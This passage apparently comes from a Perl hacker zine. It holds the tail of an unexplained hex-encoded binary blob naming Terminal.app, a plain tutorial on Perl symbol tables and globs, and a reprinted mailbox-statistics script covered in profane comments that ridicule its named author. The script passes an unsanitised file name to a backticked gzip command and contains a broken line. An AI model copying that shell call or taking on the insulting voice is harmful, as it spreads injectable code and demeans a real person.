"\x05\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x01\x00\x00\x00\x05\x08\x00\x00\x04\x08\x00\x00". "\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x04\x04\x00\x00\x00\x25\x2f\x41\x70\x70\x6c\x69". "\x63\x61\x74\x69\x6f\x6e\x73\x2f\x55\x74\x69\x6c\x69\x74\x69\x65". "\x73\x2f\x54\x65\x72\x6d\x69\x6e\x61\x6c\x2e\x61\x70\x70\x00\xec". "\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec". "\xec\xec\xff\xec\xec\xec\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1". "\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1". "\xe1\xe1\xff\xe1\xe1\xe1\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6". "\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6". "\xe6\xe6\xff\xe6\xe6\xe6\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9". "\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9". "\xe9\xe9\xff\xe9\xe9\xe9\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec". "\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec". "\xec\xec\xff\xec\xec\xec\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef". "\xef\xef\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef". "\xef\xef\xff\xef\xef\xef\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3". "\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3". "\xf3\xf3\xff\xf3\xf3\xf3\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6". "\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6". "\xf6\xf6\xff\xf6\xf6\xf6\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8". "\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8". "\xf8\xf8\xff\xf8\xf8\xf8\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc". "\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc". "\xfc\xfc\xff\xfc\xfc\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". "\xff\xff\xff\xff\xff\xff\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00". "\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00". "\x00\x00\xa8\x00\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00". "\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00". "\x00\x00\x2a\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00". "\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00". "\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". "\x05\x08\x00\x00\x04\x08\x00\x00\x00\x32\x00\x5f\xd0\xac\x12\xc2". "\x00\x00\x00\x1c\x00\x32\x00\x00\x75\x73\x72\x6f\x00\x00\x00\x0a". "\x00\x00\xff\xff\x00\x00\x00\x00\x01\x0d\x21\x7c"; } 1; -[0x12] # School You: broquaint ------------------------------------------ Welcome to Of Symbol Tables and Globs where you'll be taken on a journey through the inner workings of those mysterious perlish substances: globs and symbol tables. We'll start off in the land of symbol tables where the globs live and in the second part of the tutorial progress onto the glob creatures themselves. Symbol tables Perl has two different types of variables - lexical and package global. In this particular tutorial we'll only be covering package global variables as lexical variables have nothing to do with globs or symbol tables (see. Lexical scoping like a fox for more information on lexical variables). Now a package global variable can only live within a symbol table and is dynamically scoped (versus lexically scoped). These package global variables live in symbol tables, or to be more accurate, they live in slots within globs which themselves live in the symbol tables. A symbol table comes about in various ways, but the most common way in which they are created is through the package declaration. Every variable, subroutine, filehandle and format declared within a package will live in a glob slot within the given package's symbol table (this is of course excluding any lexical declarations) ## create an anonymous block to limit the scope of the package { package globtut; $var = "a string"; @var = qw( a list of strings ); sub var { } } use Data::Dumper; print Dumper(\%globtut::); __output__ $VAR1 = { 'var' => *globtut::var }; There we create a symbol table with package globtut, then the scalar, array and subroutine are all 'put' into the *var glob because they all share the same name. This is implicit behavior for the vars, so if we wanted to explicitly declare the vars into the globtut symbol table we'd do the following $globtut::var = "a string"; @globtut::var = qw( a list of strings ); sub globtut::var { } use Data::Dumper; print Dumper(\%globtut::); __output__ $VAR1 = { 'var' => *globtut::var }; Notice how we didn't use a package declaration there? This is because the globtut symbol table is auto-vivified when $globtut::var is declared. Something else to note about the symbol table is that it has two colons appended to the name, so globtut became %globtut::. This means that any packages that live below that will have :: prepended to the name, so if we add a child package it would be neatly separated by the double colons e.g use Data::Dumper; { package globtut; package globtut::child; ## ^^ } Another attribute of symbol tables demonstrated when %globtut:: was dumped above is that they are accessed just like normal perl hashes. In fact, they are like normal hashes in many respects, you can perform all the normal hash operations on a symbol table and add normal key-value pairs, and if you're brave enough to look under the hood you'll notice that they are in fact hashes, but with a touch of that perl Magic. Here are some examples of hash operations being used on symbol tables use Data::Dumper; { package globtut; $foo = "a string"; $globtut::{bar} = "I'm not even a glob!"; %globtut::baz:: = %globtut::; print Data::Dumper::Dumper(\%globtut::baz::); print "keys: ", join(', ', keys %globtut::), $/; print "values: ", join(', ', values %globtut::), $/; print "each: ", join(' => ', each %globtut::), $/; print "exists: ", (exists $globtut::{foo} && "exists"), $/; print "delete: ", (delete $globtut::{foo} && "deleted"), $/; print "defined: ", (defined $globtut::{foo} || "no foo"), $/; } __output__ $VAR1 = { 'foo' => *globtut::foo, 'bar' => 'I\'m not even a glob!', 'baz::' => *{'globtut::baz::'} }; keys: foo, bar, baz:: values: *globtut::foo, I'm not even a glob!, *globtut::baz:: each: foo => *globtut::foo exists: exists delete: deleted defined: no foo So to access the globs within the globtut symbol table we access the desired key which will correspond to a variable name { package globtut; $variable = "a string"; @variable = qw( a list of strings ); sub variable { } print $globtut::{variable}, "\n"; } __output__ *globtut::variable And if we want to add another glob to a symbol table we add it exactly like we would with a hash { package globtut; $foo = "a string"; $globtut::{variable} = *foo; print "\$variable: $variable\n"; } __output__ $variable: a string If you'd like to see some more advanced uses of symbol tables and symbol table manipulation then check out the Symbol module which comes with the core perl distribution, and more specifically the Symbol::gensym function. Globs So we can now see that globs live within symbol tables, but that doesn't tell us a lot about globs themselves and so this section of the tutorial shall endeavour to explain them. Within a glob are 6 slots where the various perl data types will be stored. The 6 slots which are available are SCALAR - scalar variables ARRAY - array variables HASH - hash variables CODE - subroutines IO - directory/file handles FORMAT - formats All these slots are accessible bar the FORMAT slot. Why this is I don't know, but I don't think it's of any great loss. It may be asked as to why there isn't a GLOB type, and the answer would be that globs are containers or meta-types (depending on how you want to see it) not data types. Accessing globs is similar to accessing hashes, accept we use the * sigil and the only keys are those data types listed above $scalar = "a simple string"; print *scalar{SCALAR}, "\n"; __output__ SCALAR(0x8107e78) "$Exclamation", you say, "I was expecting 'a simple string', not a reference!". This is because the slots within the globs only contain references, and these references point to the values. So what we really wanted to say was $scalar = "a simple string"; print ${ *scalar{SCALAR} }, "\n"; __output__ a simple string Which is essentially just a complex way of saying $scalar = "a simple string"; print $::scalar, "\n"; __output__ a simple string So as you can probably guess perl's sigils are the conventional method of accessing the individual data types within globs. As for the likes of IO it has to be accessed specifically as perl doesn't provide an access sigil for it. Something you may have noticed is that we're referencing the globs directly, without going through the symbol table. This is because globs are "global" and are not effected by strict. But if we wanted to access the globs via the symbol table then we would do it like so $scalar = "a simple string"; print ${ *{$main::{scalar}}{SCALAR} }, "\n"; __output__ a simple string Now the devious among you may be thinking something along the lines of "If it's a hash then why don't I just put any old value in there?". The answer to this of course, is that you can't as globs aren't hashes! So we can try, but we will fail like so ${ *scalar{FOO} } = "the FOO data type"; __output__ Can't use an undefined value as a SCALAR reference at - line 1. So we can't force a new type into the glob, we'll only ever get an undefined value when an undefined slot is accessed. But if we were to use SCALAR instead of FOO then the $scalar variable would contain "the FOO data type". Another thing to be noted from the above example is that you can't assign to glob slots directly, only through dereferencing them. ## this is fine as we're dereferencing the stored reference ${ *foo{SCALAR} } = "a string"; ## this will generate a compile-time error *foo{SCALAR} = "a string"; __output__ Can't modify glob elem in scalar assignment at - line 5, near ""a stri +ng";" As one might imagine having to dereference a glob with the correct data every time one wants to assign to a glob can be tedious and occasionally prohibitive. Thankfully, globs come with some of perl's yet to be patented Magic, so that when you assign to a glob the correct slot will be filled depending on the datatype being used in the assignment e.g *foo = \"a scalar"; print $foo, "\n"; *foo = [ qw( a list of strings ) ]; print @foo, "\n"; *foo = sub { "a subroutine" }; print foo(), "\n"; __output__ a scalar alistofstrings a subroutine Note that we're using references there as globs only contain references, not the actual values. If you assign a value to a glob, it will assign the glob to a glob of the name corresponding to the value. Here's some code to help clarify that last sentence use Data::Dumper; ## use a fresh uncluttered package for minimal Dumper output { package globtut; *foo = "string"; print Data::Dumper::Dumper(\%globtut::); } __output__ $VAR1 = { 'string' => *globtut::string, 'foo' => *globtut::string }; So when the glob *foo is assigned "string" it then points to the glob *string. But this is generally not what you want, so moving on swiftly ... Bringing it all together Now that we have some knowledge of symbol tables and globs let's put them to use by implementing an import method. When use()ing a module the import method is called from that module. The purpose of this is so that you can import things into the calling package. This is what Exporter does, it imports the things listed in @EXPORT and optionally @EXPORT_OK (see the Exporter docs for more details). An import method will do this by assigning things to the caller's symbol table. We'll now write a very simple import method to import all the subroutines into the caller's package ## put this code in Foo.pm package Foo; use strict; sub import { ## find out who is calling us my $pkg = caller; ## while strict doesn't deal with globs, it still ## catches symbolic de/referencing no strict 'refs'; ## iterate through all the globs in the symbol table foreach my $glob (keys %Foo::) { ## skip anything without a subroutine and 'import' next if not defined *{$Foo::{$glob}}{CODE} or $glob eq 'import'; ## assign subroutine into caller's package *{$pkg . "::$glob"} = \&{"Foo::$glob"}; } } ## this won't be imported ... $Foo::testsub = "a string"; ## ... but this will sub testsub { print "this is a testsub from Foo\n"; } ## and so will this sub fooify { return join " foo ", @_; } q; Now for the demonstration code use Data::Dumper; ## we'll stay out of the 'polluted' %main:: symbol table { package globtut; use Foo; testsub(); print "no \$testsub defined\n" unless defined $testsub; print "fooified: ", fooify(qw( ichi ni san shi )), "\n"; print Data::Dumper::Dumper(\%globtut::); } __output__ this is a testsub from Foo no $testsub defined fooified: ichi foo ni foo san foo shi $VAR1 = { 'testsub' => *globtut::testsub, 'BEGIN' => *globtut::BEGIN, 'fooify' => *globtut::fooify }; Hurrah, we have succesfully imported Foo's subroutines into the globtut symbol table (the BEGIN there is somewhat magical and created during the use). Summary So in summary, symbol tables store globs and can be treated like hashes. Globs are accessed like hashes and store references to the individual data types. I hope you've learned something along the way and can now go forth and munge these two no longer mysterious aspects of perl with confidence! -[0x13] # Elementary, Watson --------------------------------------------- #!/usr/bin/perl # alright fucker. let's go use Getopt::Std; use Date::Manip; use Mail::MboxParser; local ($opt_L, $opt_N, $opt_G); # get rid of local and GET WITH THE TIMES $VERSION = '2.4.7'; getopts('edshluELNGTHD:m:f:t:v'); if ($opt_d) { $opt_v = 1; } if ( !($opt_e xor $opt_d xor $opt_s) or $opt_h ) { &usage } # NO print "
\n" if ($opt_H);
 
$opt_t = 'today' unless ($opt_t);
$opt_f = 'Dec 31, 1969' unless ($opt_f);
$date1 = &ParseDate("$opt_f 00:00:00");
# drop the address
$date2 = &ParseDate("$opt_t 23:59:59");
$mailbox = $ARGV[0];
# not here
if ($mailbox =~ /^http\:/) {
  print "Using LWP to fect mailbox\n" if ($opt_v);
  eval {
    if ($mailbox =~ /gz$/) {
      $tmpfile = "/tmp/.count" . time . ".gz";
    } else {
      $tmpfile = "/tmp/.count" . time;
    }
    use LWP::Simple;
    # here? use HERE? is it really worth it?
    # why wrap it, you're not doing shit worth
    # doing on a fail
    mirror($mailbox, $tmpfile);
    $tmpbox = 1;
    $mailbox = $tmpfile;
    # here I was going to say that's stupid
    # but you didn't use strict, I don't even
    # know where the fuck you use these next
  }
}
if ( ! -e $mailbox ) {
  print "There appears to be a problem.  Mailbox not found\n";
  exit;
}
# get your shit in order and keep it clean

if ($mailbox =~ /\.gz$/) {
  print "Decompresing mailbox\n" if ($opt_v);
  $gzip = `which gunzip 2>/dev/null`;
  if ( !$gzip ) {
    print "Unable to find gunzip to decompress file.\n" if ($opt_v);
    $gzip = `which gzip 2>/dev/null`;
    if ( !$gzip ) {
      print "Unable to find gzip to decompress file.\n" if ($opt_v);
      print "ERROR: Unable to decompress mailbox.\n";
      exit;
    }
  }
  chomp $gzip;
  `$gzip -d $mailbox`;
  $mailbox =~ s/\.gz$//;
}
print "Opening mailbox $mailbox\n" if ($opt_v);
$mbx = Mail::MboxParser->new($mailbox);
$mbx->make_index;
$msgc = 0;
print "Evaluating messages\n" if ($opt_v);
# I bet this label is very necessary
MESSAGE: for $msg ($mbx->get_messages) {
  printf STDERR "MSG Num: %6.5d\nMSG Start Pos: %10.10d\n", 
    $msgc, $mbx->get_pos($msgc) . "\n" if ($opt_D);
  my $lines = $new_lines = $html = $toppost = $quotes = $footer = $PGP = $PGPSig = 0;
  # what the fuck...
  $date = $msg->header->{'date'};
  $date3 = &ParseDate($date);
  $start = &Date_Cmp($date1,$date3);
  $end = &Date_Cmp($date2,$date3);
  print STDERR "Date_Cmp: $date1 < $date3 > $date2\n" if ($opt_D > 1);
  print STDERR "Date_Cmp: $start <= 0 => $end\n" if ($opt_D > 1);
  # drop the parens and put your hands in the air
  # you're under arrest for shitty long annoying code
  # mock that line, dare ya
  if ( $start <= 0 and $end >= 0) {
    if ($opt_D > 4) {
      $headers = $msg->header;
      for $head (sort keys %$headers) {
        # ugh
        if (@{$msg->header->{$head}}) {
          for $value (@{$msg->header->{$head}}) {
            print STDERR "HEADER:::$head => $value\n"
          }
        } else {
          print STDERR "HEADER::$head => " . $msg->header->{$head} . "\n"
        }
      }
      print STDERR "-_" x 30 . "\n"
    }
    my $msgid = $msg->header->{'message-id'};
    $msgid =~ s/[\<\>]//g;
    my $to = $msg->header->{'to'};
    $to =~ s/^[\s\S]*\<([\w\d\-\$\+\.\@\%\]\[]+)\>.*$/$1/;
    # what the hell are you doing
    $to =~ /^([\w\.\-]+)\@.*\.\w+$/;
    my $sto = $1;
    # one line it
    print STDERR "To: $to ($sto)\n" if ($opt_D > 1);
    my $sub = $msg->header->{'subject'};
    if ($opt_l and ($sub eq '(no subject)' or $sub eq '') ) { $html++; $bad++ }
    # bad++ indeed
    print STDERR "Subject: $sub\n" if ($opt_D > 1);
    # bad++
    my $references = $msg->header->{'references'};
    $references =~ s/\s*//g;
    $references =~ s/\<([\w\d\-\$\.\@\%\]\[]+)\>/$1\n/g;
    # bad++
    my $replyto = $msg->header->{'in-reply-to'};
    $replyto =~ s/\s*//g;
    $replyto =~ s/^\s*\<([\w\d\-\$\.\@\%\]\[]+)\>.*$/$1/;
    # bad++
    print STDERR "Message-ID: $msgid\n" if ($opt_D > 1);
    # bad++
    print STDERR "In-Reply-To: $replyto\n" if ($opt_D > 1 and $replyto);
    # bad++
    print STDERR "References: $references\n" if ($opt_D > 1 and $references);
    # bad++
    if ( $msgid{$msgid} ) { 
      print STDERR "Duplicate Message: $msgid\n" if ($opt_D);
    # bad++
      next;
    # bad++ 
    } else {
    # bad++ 
      $msgid{$msgid}++; 
    # bad++
    }
    $count2++;
    # bad++
    $email = $msg->from->{'email'};
    print STDERR "From: $email\n" if ($opt_D > 1);
    # bad++
    $email =~ tr/[A-Z]/[a-z]/;
    # bad++ never heard of lc
    $email =~ s/[\<\>]//g;
    # bad++
    $email =~ s/ \(.+\)$//g;
    # bad++
    $email =~ s/^\".+\"//;
    # bad++
    if ($opt_e) {
      $who = $email;
    } elsif ($opt_d) {
      $email =~ /^[\w\.\-]+\@(.*\.\w+)$/;
    # bad++
      $who = $1;
    # bad++
    } elsif ($opt_s) {
      $email =~ /^[\w\.\-]+\@.*(\.\w+)$/;
    # bad++
      $who = $1;
    # bad++
    }
    if (!$who) {
      print STDERR "Unable to fine _who_\n" if ($opt_D > 1);
    # bad++
      print STDERR '-' x 75 . "\n" if ($opt_D);
    # bad++
      $msgc++;
    # bad++ what's with all these variables ++ing all over
      next MESSAGE;
    # bad++ oh here's where that label comes in handy...
    } else {
    # bad++
      print STDERR "Matched: $who\n" if ($opt_D > 1);
    # bad++
    }
    if (
         $msg->header->{'x-originating-ip'} 
       and 
         $track{$msg->header->{'x-originating-ip'}}
       and 
         $track{$msg->header->{'x-originating-ip'}} ne $who
       ) {
	# I like it! Cute!
      print STDERR "TRACE::" . $track{$msg->header->{'x-originating-ip'}} 
        . " and $who using " . $msg->header->{'x-originating-ip'} . "\n"
        if ($opt_D > 4);
    } elsif ($msg->header->{'x-originating-ip'}) {
      $track{$msg->header->{'x-originating-ip'}} = $who;
      print STDERR "IP::" . $msg->header->{'x-originating-ip'} . " => $who\n"
        if ($opt_D > 4);
	# lose some CONTROL
    }
    my $body = $msg->body($msg->find_body);
    @msg_body = $body->as_lines;
    if ($msg->is_multipart) {
      @parts = $msg->parts;
      if (@parts and $opt_l) {
        print STDERR "Message $count2 has multiple parts\n" if ($opt_D);
        print STDERR "Testing message $count2 for 'bad' parts\n" if ($opt_D);
        my $i;
        PARTS: for $i (0..$#parts) {
	# suddenly you care about lexical variables?
	# for my $i (0 .. $#parts) {
          my $part_type = $parts[$i]->effective_type;
          if ($part_type =~ /^text\/html|enriched/i
              or $part_type =~ /^image|audio|application\/[^pgp-]/i
             ) {
            print STDERR "MIME-Type: $part_type (*co*loser*ugh*)\n" if ($opt_D > 1);
            $html++;
            $bad++;
            last PARTS;
          } else {
            print STDERR "MIME-Type: $part_type looks ok\n" if ($opt_D > 1);
          }
        }
      }
    }
    LINE: for (@msg_body) {
      next LINE if ( m/^$/ );
	# better ways to check for falseness
      #  Need to check for footers and Sigs and stuff
      if (/^__________________________________________________$/) {
	# must it all be STDERR? Is it all so error filled?!
        print STDERR "Possible Footer\n" if ($opt_D > 1);
        $footer++;
      } elsif ($footer and /^Do You Yahoo!\?$/) {
        print STDERR "Yep, its a Yahoo footer, Skipping to next Message\n" 
          if ($opt_D > 1);
        next MESSAGE;
      } elsif (/^-----BEGIN PGP SIGNED MESSAGE-----$/) {
        print STDERR "PGP Signed Message\n" if ($opt_D > 1);
        print STDERR "PGP::$who $_" if ($opt_D > 4);
        $PGP++;
        next LINE;
      } elsif ($PGP and /^Hash: (\w+)$/) {
        print STDERR "PGP Hash Type ($1)\n" if ($opt_D > 1);
        print STDERR "PGP::$who $_" if ($opt_D > 4);
        next LINE;
      } elsif (/^-----BEGIN PGP SIGNATURE-----$/) {
        print STDERR "Begin PGP Signature\n" if ($opt_D > 1);
        print STDERR "PGP::$who $_" if ($opt_D > 4);
        $PGPsig++;
        next LINE;
      } elsif ($PGPsig and ! /^-----END PGP SIGNATURE-----$/) {
        print STDERR "PGP::$who $_" if ($opt_D > 4);
        next LINE;
      } elsif ($PGPsig and /^-----END PGP SIGNATURE-----$/) {
        print STDERR "END PGP Signature\n" if ($opt_D > 1);
        print STDERR "PGP::$who $_" if ($opt_D > 4);
        $PGPsig--;
        next LINE;
      }
      #####################################
      $lines++;
      if ( ! m/^[ \t]*$|^[ \t]*[>:]/ ) {
        $new_lines++;
        if ($new_lines > 1 and !$quotes) {
          $toppost++;
        } elsif ($quotes and $toppost) {
          $toppost = 0;
        }
        if ($opt_u) {
          if (/(https?\:\/\/\S+)/) {
	# Leaning Toothpick Syndrome takes another innocent child
            my $site = #1;
            chomp $site;
            $site =~ s/[\>\.\)]*$//;
            $sub =~ s/^re\:\s//i;
		# small steps, small steps!
            $sub =~ s/^\[[\w\-\d\:]+\]\s//i;
            if ($site =~ /(yahoo|msn|hotjobs|hotmail|your\-name|pgp|excite)\.com\/?$/
               or $site =~ /(promo|click|docs)\.yahoo\.com/
               or $site =~ /(explorer|messenger|mobile)\.msn\.com/
               or $site =~ /mailman\/listinfo\/$sto$/
               or $skipped{$site}) {
              $skipped{$site}++;
              print STDERR "Skipping $site ($skipped{$site})\n"
                . " - from message '$sub'\n - from $who\n\n" 
                if ($opt_D > 1);
            } else {
              if (!$urls{$site}) {
                print STDERR "Adding $site\n from message '$sub'\n from $who\n\n" 
                  if ($opt_D > 1);
                $contrib{$who}++;
                $urls{$site} = $sub;
                push @{$url_list{$sub}}, $site;
              } else {
                print STDERR "Skipping (duplicate) $site\n  from message '$sub'\n  from $who\n\n" 
                  if ($opt_D > 1);
              }
            }
          }
        }
        print STDERR "NEW($new_lines, $lines) $_" if ($opt_D > 2);
      } else {
        print STDERR "QUOT($lines) $_" if ($opt_D > 2);
        $quotes++;
      }
    }
    $tracker{$msgid} = $who;
    if ($replyto and $tracker{$replyto}) {
      $replyto{$tracker{$replyto}}++;
      print STDERR "Replying to: $tracker{$replyto} ($replyto{$tracker{$replyto}})\n" 
        if ( $opt_D > 1 );
    } elsif ($replyto) {
      print STDERR "Replying to: Unknown Reference\n" 
        if ( $opt_D > 1 );
    }
    if ($references) {

	# seriously what's with the spagetti code
	# look at it
	# all over the place
	# messing with vars everywhere
	# how do you debug this shit?
	# why not call some subroutines
	# or SOMETHING

      my $rmsgidc = 1;
      RMSGID: foreach my $rmsgid ( split("\n", $references) ) {
        next RMSGID unless ( $rmsgid );
        print STDERR "Reference MSGID ($rmsgidc): $rmsgid\n"
          if ($opt_D > 1);
        if ($rmsgid ne $replyto and $tracker{$rmsgid}) {
          $replyto{$tracker{$rmsgid}}++;
          print STDERR "Referencing ($rmsgidc): $tracker{$rmsgid} ($replyto{$tracker{$rmsgid}})\n" 
            if ( $opt_D > 1 );
        } elsif ($tracker{$rmsgid}) {
          print STDERR "Referenced In-Reply-To Duplicate ($rmsgidc): $tracker{$rmsgid} ($replyto{$tracker{$rmsgid}})\n"
            if ( $opt_D > 1 );
        } else {
          print STDERR "Referencing ($rmsgidc): Unknown Reference\n"
            if ($opt_D > 1); 
	# fuck make up your mind and not compare that for everyone, compare earlier
        }
        $rmsgidc++;
      }
    }
    if ($new_lines * 10 < $lines - $new_lines and !$html) {
      $html++;
      $bad++;
	# just what I was thinking!
      print STDERR "$sub) New lines ($new_lines) is less that 10% of quoted lines(" 
        . ($lines - $new_lines) . ") by $who\n" if ($opt_D);
    } elsif (!$html and $toppost and $quotes) {
      $html++;
      $bad++;
      print STDERR "$sub) Top Post from $who\n" if ($opt_D);
    }
    for my $line ($body->signature) { 
      print STDERR "SIG::$who => $line\n" if ($line !~ /^\s*$/ and $opt_D > 2);
    }
    $count{$who}++;
    $lines{$who} += $lines;
    $new_lines{$who} += $new_lines;
    $html{$who} += $html;
    $counter++;
    if ($html{$who} > $count{$who}) { die "ERROR: Bad Mails outnumbers Total Mails\n" }
  } 
  print STDERR '-' x 75 . "\n" if ($opt_D);
  $msgc++;
}
print "Removing temporary mailbox\n" if ($opt_v and $tmpbox);
unlink($mailbox) if ($tmpbox);
# remove(parens) where(unnecessary);


if ( $opt_L ) {
  print "Sorting by total number of lines sent\n" if ($opt_v);
  @keys = sort {
    $lines{$b} <=> $lines{$a} || $a cmp $b
  } keys %lines;
} elsif ( $opt_N ) {
  print "Sorting by total number of new lines sent\n" if ($opt_v);
  @keys = sort {
    $new_lines{$b} <=> $new_lines{$a} || length($b) <=> length($a) || $a cmp $b
  } keys %new_lines;
} elsif ( $opt_G ) {
  print "Sorting by total number of noise sent\n" if ($opt_v);
  @keys = sort {
    ($lines{$a} / $new_lines{$a}) <=> ($lines{$b} / $new_lines{$b}) 
  } keys %count;
} else {
  print "Sorting by total number of emails sent\n" if ($opt_v);
  @keys = sort {
    $count{$b} <=> $count{$a} || length($b) <=> length($a) || $a cmp $b
  } keys %count;
}

&load_formats;
# boo

die $@ if $@;
# geez just a little late don't you think

# same shit different section
print '-' x 75 . "\n" if ($opt_v);
print "count $VERSION by MadHat\@unspecific.com - [[|%^)\n--\n\n"
  if ($opt_v);
print "Total emails checked: $count2\n" if ($opt_v);
